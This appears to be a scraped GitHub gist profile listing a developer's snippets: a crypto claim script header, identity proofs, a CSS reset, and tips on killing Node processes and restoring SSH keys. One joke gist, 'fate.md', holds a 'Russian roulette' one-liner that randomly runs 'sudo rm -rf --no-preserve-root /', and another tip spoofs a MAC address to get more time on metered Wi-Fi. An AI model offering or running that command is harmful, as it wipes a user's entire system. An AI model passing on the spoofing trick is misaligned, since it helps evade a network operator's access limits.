Skip to content

Instantly share code, notes, and snippets.

View nickbytes's full-sized avatar
⚗️

Nick Beattie nickbytes

⚗️
View GitHub Profile
/**
* 1. Initialize new node project (npm init -y)
* 2. Run: npm install ethers
* 3. Add private key where PRIVATE_KEY
* 4. Optionally, update gas price (line 29) or chosen gas limit
* 4. Run: node score-claim.js
*/
// Imports
const ethers = require("ethers");
const { parseUnits } = require("@ethersproject/units");

Companies building interesting things. No specific order.

  • Vercel
  • Stripe
  • Coinbase
  • WorkOS
  • Substack
  • Render
  • Figma
  • Retool
3Box is a social profiles network for web3. This post links my 3Box profile to my Github account!
✅ did:muport:QmYPBWRanUh2odxjRL1BZLMiCZZ3uM8ij9aC9ARv9VAdns ✅
Create your profile today to start building social connection and trust online. https://3box.io/
@nickbytes
nickbytes / fate.md
Last active November 29, 2018 19:16

Good luck.

[ $[ $RANDOM % 6 ] == 0 ] && sudo rm -rf --no-preserve-root / || echo "You live"
@nickbytes
nickbytes / reset.css
Last active September 23, 2019 22:48
my css reset
html { box-sizing: border-box }
*, *:before, *:after { box-sizing: inherit; }
body { margin: 0; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; }
body, h1, h2, h3, h4, h5, h6, p, ol, ul {
margin: 0;
padding: 0;
font-weight: normal;
}

Keybase proof

I hereby claim:

  • I am nickbytes on github.
  • I am nickbytes (https://keybase.io/nickbytes) on keybase.
  • I have a public key ASC5Cihf1uCaSk3yGt8xc1hR3WPpy63J8jLacJe1a9k5xQo

To claim this, I am signing this object:

@nickbytes
nickbytes / kill-node.md
Created May 23, 2017 16:49
When you really need to kill a node process

Error message reads Node / Express: EADDRINUSE...

Damn, this shouldn't be happening.

List all processes running on port 3000 like this

sudo lsof -i :3000

Find the PID. Kill the PID.

@nickbytes
nickbytes / ssh-after-reboot.md
Last active May 10, 2021 19:50
ssh-add is not persistent between reboots

If my machine unexpectedly reboots, my ssh keys no longer work. Initially I would go create new ones and add them to Github and other dev services.

$ ssh-add -l
The agent has no identities.

Bummer.

I didn't need to create new ssh keys, I just needed to add the existing back to the ssh-agent identities.

🔥 Spoof your mac address to get unlimited wifi once you run out of 30 min slots.

$ sudo ifconfig en0 ether fa:ke:ma:c

h/t @wesbos

// requires packages "Agila Theme" and "Base16 Color Schemes"
{
"caret_extra_bottom": 2,
"caret_extra_top": 2,
"caret_extra_width": 1,
"caret_style": "phase",
"color_scheme": "Packages/Base16 Color Schemes/Themes/base16-oceanicnext.tmTheme",
"create_window_at_startup": false,
"ensure_newline_at_eof_on_save": true,